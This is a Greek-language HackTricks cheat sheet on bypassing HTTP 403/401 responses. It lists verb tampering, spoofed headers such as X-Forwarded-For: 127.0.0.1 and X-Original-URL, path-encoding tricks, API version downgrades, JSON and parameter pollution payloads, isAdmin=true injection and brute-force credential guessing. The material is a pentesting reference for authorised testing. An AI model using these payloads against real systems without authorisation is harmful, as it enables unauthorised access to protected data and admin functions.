403 & 401 Bypasses
Last updated
Last updated
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Αποκτήστε την προοπτική ενός hacker για τις εφαρμογές σας, το δίκτυο και το cloud
Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο. Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
Δοκιμάστε να χρησιμοποιήσετε διαφορετικά ρήματα για να αποκτήσετε πρόσβαση στο αρχείο: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK
Ελέγξτε τις κεφαλίδες απόκρισης, ίσως κάποιες πληροφορίες να μπορούν να δοθούν. Για παράδειγμα, μια απόκριση 200 σε HEAD με Content-Length: 55
σημαίνει ότι το HEAD verb μπορεί να έχει πρόσβαση στις πληροφορίες. Αλλά πρέπει ακόμα να βρείτε έναν τρόπο να εξάγετε αυτές τις πληροφορίες.
Χρησιμοποιώντας μια HTTP κεφαλίδα όπως X-HTTP-Method-Override: PUT
μπορεί να αντικαταστήσει το ρήμα που χρησιμοποιείται.
Χρησιμοποιήστε το TRACE
ρήμα και αν είστε πολύ τυχεροί ίσως στην απόκριση να δείτε επίσης τις κεφαλίδες που προστέθηκαν από ενδιάμεσους proxy που μπορεί να είναι χρήσιμες.
Αλλάξτε την κεφαλίδα Host σε κάποια αυθαίρετη τιμή (που λειτούργησε εδώ)
Δοκιμάστε να χρησιμοποιήσετε άλλους User Agents για να αποκτήσετε πρόσβαση στους πόρους.
Fuzz HTTP Headers: Δοκιμάστε να χρησιμοποιήσετε HTTP Proxy Headers, HTTP Authentication Basic και NTLM brute-force (με λίγους μόνο συνδυασμούς) και άλλες τεχνικές. Για να κάνω όλα αυτά έχω δημιουργήσει το εργαλείο fuzzhttpbypass.
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
X-Original-URL: 127.0.0.1
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Cluster-Client-IP: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
Host: localhost
Αν η διαδρομή είναι προστατευμένη μπορείτε να προσπαθήσετε να παρακάμψετε την προστασία της διαδρομής χρησιμοποιώντας αυτές τις άλλες κεφαλίδες:
X-Original-URL: /admin/console
X-Rewrite-URL: /admin/console
Αν η σελίδα είναι πίσω από έναν proxy, ίσως ο proxy να είναι αυτός που σας εμποδίζει να αποκτήσετε πρόσβαση στις ιδιωτικές πληροφορίες. Δοκιμάστε να εκμεταλλευτείτε HTTP Request Smuggling ή κεφαλίδες hop-by-hop.
Fuzz ειδικές HTTP κεφαλίδες αναζητώντας διαφορετική απόκριση.
Fuzz ειδικές HTTP κεφαλίδες ενώ κάνετε fuzzing HTTP Methods.
Αφαιρέστε την κεφαλίδα Host και ίσως μπορέσετε να παρακάμψετε την προστασία.
Αν /path είναι μπλοκαρισμένο:
Δοκιμάστε να χρησιμοποιήσετε /%2e/path _(αν η πρόσβαση είναι μπλοκαρισμένη από έναν proxy, αυτό θα μπορούσε να παρακάμψει την προστασία). Δοκιμάστε επίσης_** /%252e**/path (διπλή κωδικοποίηση URL)
Δοκιμάστε Unicode bypass: /%ef%bc%8fpath (Οι χαρακτήρες κωδικοποιημένοι URL είναι όπως το "/") έτσι όταν κωδικοποιηθούν ξανά θα είναι //path και ίσως έχετε ήδη παρακάμψει τον έλεγχο ονόματος /path
Άλλες παρακάμψεις διαδρομής:
site.com/secret –> HTTP 403 Forbidden
site.com/SECRET –> HTTP 200 OK
site.com/secret/ –> HTTP 200 OK
site.com/secret/. –> HTTP 200 OK
site.com//secret// –> HTTP 200 OK
site.com/./secret/.. –> HTTP 200 OK
site.com/;/secret –> HTTP 200 OK
site.com/.;/secret –> HTTP 200 OK
site.com//;//secret –> HTTP 200 OK
site.com/secret.json –> HTTP 200 OK (ruby)
Χρησιμοποιήστε όλη αυτή τη λίστα στις παρακάτω καταστάσεις:
/FUZZsecret
/FUZZ/secret
/secretFUZZ
Άλλες παρακάμψεις API:
/v3/users_data/1234 --> 403 Forbidden
/v1/users_data/1234 --> 200 OK
{“id”:111} --> 401 Unauthorized
{“id”:[111]} --> 200 OK
{“id”:111} --> 401 Unauthorized
{“id”:{“id”:111}} --> 200 OK
{"user_id":"<legit_id>","user_id":"<victims_id>"} (JSON Parameter Pollution)
user_id=ATTACKER_ID&user_id=VICTIM_ID (Parameter Pollution)
Αλλάξτε τιμή παραμέτρου: Από id=123
--> id=124
Προσθέστε επιπλέον παραμέτρους στη διεύθυνση URL: ?
id=124
—-> id=124&isAdmin=true
Αφαιρέστε τις παραμέτρους
Αναδιατάξτε τις παραμέτρους
Χρησιμοποιήστε ειδικούς χαρακτήρες.
Εκτελέστε δοκιμές ορίων στις παραμέτρους — παρέχετε τιμές όπως -234 ή 0 ή 99999999 (μόνο μερικές παραδείγματα).
Αν χρησιμοποιείτε HTTP/1.1 δοκιμάστε να χρησιμοποιήσετε 1.0 ή ακόμα και να ελέγξετε αν υποστηρίζει 2.0.
Αποκτήστε το IP ή CNAME του τομέα και δοκιμάστε να επικοινωνήσετε απευθείας.
Δοκιμάστε να πιέσετε τον διακομιστή στέλνοντας κοινές GET αιτήσεις (Λειτούργησε για αυτόν τον τύπο με το Facebook).
Αλλάξτε το πρωτόκολλο: από http σε https, ή για https σε http
Πηγαίνετε στο https://archive.org/web/ και ελέγξτε αν στο παρελθόν αυτό το αρχείο ήταν παγκοσμίως προσβάσιμο.
Μαντέψτε τον κωδικό πρόσβασης: Δοκιμάστε τα παρακάτω κοινά διαπιστευτήρια. Ξέρετε κάτι για το θύμα; Ή το όνομα της πρόκλησης CTF;
Brute force: Δοκιμάστε βασική, digest και NTLM αυθεντικοποίηση.
Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές σας, το δίκτυο και το cloud
Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο. Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)